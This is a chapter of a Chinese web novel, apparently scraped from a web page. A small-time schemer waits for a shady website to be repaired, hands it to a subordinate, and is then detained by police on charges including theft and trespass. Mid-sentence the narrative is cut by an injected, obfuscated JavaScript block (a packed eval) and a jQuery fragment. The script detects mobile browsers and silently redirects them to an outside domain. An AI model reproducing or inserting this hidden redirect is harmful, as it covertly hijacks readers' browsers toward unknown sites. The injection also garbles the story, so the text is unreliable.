好不容易从谢嵘那借到钱,一回来,谢财就尽数交给了蒋老板,一整个喜上眉梢,却被告知网站出了纰漏。
谢财的心当时凉了个透,以为网站要提前关闭。
蒋老板叹了口气,却说:“到底是出自小孩之手,容易出岔子。那边本打算请专人维护,奈何小朋友脾气倔、爱逞强,非要亲自上。大人犟不过,只能由着他慢慢折腾。”
透心凉的谢财逐渐回暖,表示理解,顺嘴客套了句:“这小朋友多大了?还挺厉害的。”
“没多大。”也就刚满二十岁。
谢财问起真正关心的问题:“那,这个网站多久能维护好啊?”
“要不了多久,个把星期吧,具体得看这小孩的本事。不过不用担心,天塌下来有大老板顶着。”
蒋老板的回答伴随着搓麻将的声响,然后传来通话结束的忙音。
个把星期。
谢财手头拮据,按理说连这个把星期都难以熬过。好在弟兄们有了闲钱,个个都争先恐后装大款,出手阔绰,轮流请客吃夜宵,蹭个吃喝不成问题。
旁边几个铺子接连来人,表面上其乐融融,背地都明里暗里地打听,生怕谢财铺子里的人先一步飞黄腾达了。
谢财罕见地少言少语,懒得置喙,该吃吃该喝喝,也算过了几天潇洒日子。
就这样潇洒了一个星期,他估摸着网站差不多该维护好了,不由联想起后续发展:
他既是当后台管理,收到的肯定是一手消息。到时候他把大额奖金压着不投放,不得赚得盆满钵满?
谢财越想越是满心欢喜,准备上邻街超市提箱啤酒庆祝。
出了铺子,走到半道,他打算给蒋老板通电话问问情况,一摸裤兜,才想起来忘带手机。
他心情依旧不错。
等会回铺子再打就是了,不差这一时半会。
来到超市,他取出身上的零钱,东拼西凑后买了半打啤酒。
结账的时候,超市老板娘颇为心不在焉,总往外探头。
谢财跟这老板娘挺熟,聊得来,平日交往频繁,就多问了一句:“张望什么呢?啥东西把你给迷住了?”
老板娘回他说:“就你们那条街,好像有的热闹看呢!我家那死混账自己溜去了,留我守店,可急死我了。”
“你快回去看看,看明白了告诉我声怎么回事。”
谢财应了好,说弄清楚就来。
他拎着啤酒往回走,还没走近,就见一群熟人将巷口围得水泄不通,全是看热闹不嫌事大的,议论滔滔:
“那铺子前头咋个停了警车?啥人犯啥事了?闹这么大,吓死个人。”
“假的吧?演戏呢?快找找摄像头。”
“……哟喂,难怪呢,我早看出来他们那伙不是好人,净在阴沟里做些勾当……”
谢财鄙夷地瞟了围观群众一眼。
他虽然住在这,但他打心眼里看不起这里的人,包括铺子里所谓的弟兄们。
对于这类没见识的傻蛋,屁大点事就是大事。要是遇上真正的大事,岂不无异于天塌了?
“都让让,堵在这搭桥呢?再不让开老子从你们头上踩过去。”
谢财拿出主人家的气势,扒拉开这群挡路的,挤了进去。
不等他看清巷子里的情况,人群中不知是谁伸出一只手,一把将他拉了过去。
谢财站稳了定睛一看,发现是一脸紧张的胡小二。
这糙娃的力气还真大,他有点惊讶,正要假惺惺发下怒,胡小二却头一次忽视了他的脸色,打断他的话:
“才大哥,不好了!那些、是来抓咱铺子里的人的!”
谢财心脏突突加快了跳动速度,顾不上骂人,急忙掐着胡小二的胳膊追问:“抓谁?”
胡小二急得快哭出来,反握住谢财:“我不敢回去、我不知道……我不敢问、我没听见,我就知道抓着两个了。”
“才大哥,我没干过坏事,我不会有事的对不对?”
“你怕什么!”谢财心烦意乱,甩开胡小二的手,“他们自己手脚不干净,跟我们屁相干!”
“没事的、不会出事的。”这话不知是在宽慰谁。
谢财说得胸有成竹,实则心里一点底摸不着。他忍不住从墙缝里向巷子内窥视。
穿过破掉的墙砖,他看见了杨霄惶惶然的鬼样子,打着哆嗦,连裤子都湿了。
他更是来气。
窝囊废、全是窝囊废。好歹是杀牛宰羊的人,遇到戴帽子的就怕成这样?
话是这么说,胡小二却眼尖地发现,谢财的手在抖。
谢财想了想,决定暂时避避风头,在外头游荡几日寻个心安。
就算此事跟他没关系,但毕竟铺子在他名下,他们又住在一块,保不齐会有警察找茬。
眼下他联系不上其他人。刚好铺子里最老实的老实人就是胡小二,几乎没犯过事,出事的几率最小。
以防万一,他得把网站托付给胡小二、把赚钱机会牢牢握在自己人手里。
“带手机没?”
谢财暗暗懊悔,出门没想那么多,早知道把手机带上了,不然也不会轻易让胡小二占便宜。
胡小二又急又怕,一句干什么也不敢问,唯唯诺诺地递上手机。
谢财给蒋老板拨去电话:“蒋老板,是我。”
“哪位?”
谢财清了清嗓,比起以往收敛了几分谄谀:“我啊,上周找过你的——”
“谢财?”蒋老板终于想起来他这么一号人,“网站的事你等通知就行,催也没用。”
谢财忙道:“不是催、这哪能,是我这边临时出了点小事,一时半会抽不开身。之后网站的事你联系小二就成,他搞得定。”
“小二?”
“对,小二,你认识的,胡小二。”
蒋老板答应得很爽快。
电话挂断,谢财一刻不停歇,接着交代胡小二:“小二你听我说,这几天我先不回铺子了,我要是出了事,你就跟着蒋老板干,全力搞钱。”
“另外,戴帽子的要是找你问话,你就不理,当没听见,懂没懂?”
胡小二胡乱点头,似懂非懂。
谢财“哎哟”几下,担心胡小二会把事情搞砸、白费他一番心血,又把网站的事大致讲了一遍,着重指点如何借助网站搞钱。
他慌慌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732501|171304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张张讲,胡小二专心致志听,两人缩在围墙边,没发觉人群堆被疏散了。
谢财讲着讲着,听见有熟悉的声音唤他。
“谢财!”
谢财闻声回头。
最先闯入他视野的不是警车,而是被民警控制住、安分站在警车旁的老汉。
见谢财望过来,老汉眼中恰当地流露出惶惑,向前迈了一步,试图靠近谢财。但刚挪动半步,身后的民警就察觉到他的意图,高声喝到:“不要随意移动!”
老汉不依不饶,即便谢财已经朝他这方走来,他依旧喊:“谢财!”
谢财被老汉这么一唤,反倒放心不少。
老汉是个聪明人,既然明明白白叫他过来,定然是要跟他暗示重要信息,并且说明他不在被捕人员当中。
谁知他刚走近,就被“呸”了一脸口水:“你过来干啥!你虎啊!”
“不叫我来,那你叫我做什么!”谢财骤然一愣。
老汉恨铁不成钢地瞠目,连连摇头。
还能是做啥!不是来那就是跑啊!
他“嘿”了老半天,嗓子眼都快咳出血沫子来了,一点反应没有,非得指名道姓。
谢财晃了晃神,眼睁睁看着老汉被押上警车。
他花了好一会儿才嚼出老汉的意思,忽地惊出一身冷汗,眼前晕起重影。
又一位民警从铺子里走出,在他面前站定,手上捏着身份证件做比对。
那是他的身份证!
他一震,下意识想抢回来。然而在四周的如炬目光下,他的身体不受支配,唯一能做到的就是一动不动。
民警扣下了他的身份证,出示了警察本和拘留文书。
谢财意识到事情的严重性。但此时就算意识到也晚了。
答案开诚布公。民警通知他道:
“我们是北缙市公安局的民警,你因涉嫌寻衅滋事罪、非法侵入住宅罪、盗窃罪,根据《刑法》第293条、第245条及第264条,现依法对你执行拘留。”
“请配合执法。”
宣读拘留决定完毕,同时,其余民警对落脚地的搜寻结束。此次行动,只逮捕主犯和起到重要辅助作用的从犯。
民警还在说着什么话,谢财听得晕头转向,一个字也听不进去,脑子成了一团浆糊。
他犯罪了?
是谁害他?
他知道了,肯定是谢蓉那个贱女人,肯定是谢恒逸那个害人命的祸害!
天真!以为报警就有用了?
无知!以为把他牵扯进来、就能定他的罪?
他一出面,这就是一家子的事,警察怎么可能管得了?
这就管不了!这是经验之谈!
这种事他干了多了去了,哪一件不比这过分百倍?不也安然无恙到现在?
他张了张嘴,喉咙仿佛被水泥糊住了。
他提了提腿,脚仿佛在水泥地上扎了根。
最终,谢财被架着送上前头一辆警车,脚步虚浮。
后排车窗视线受限。可他还能看见窗外的场景,还能看见在超市门口东张西望的老板娘。
那身形和记忆中的某个人重叠。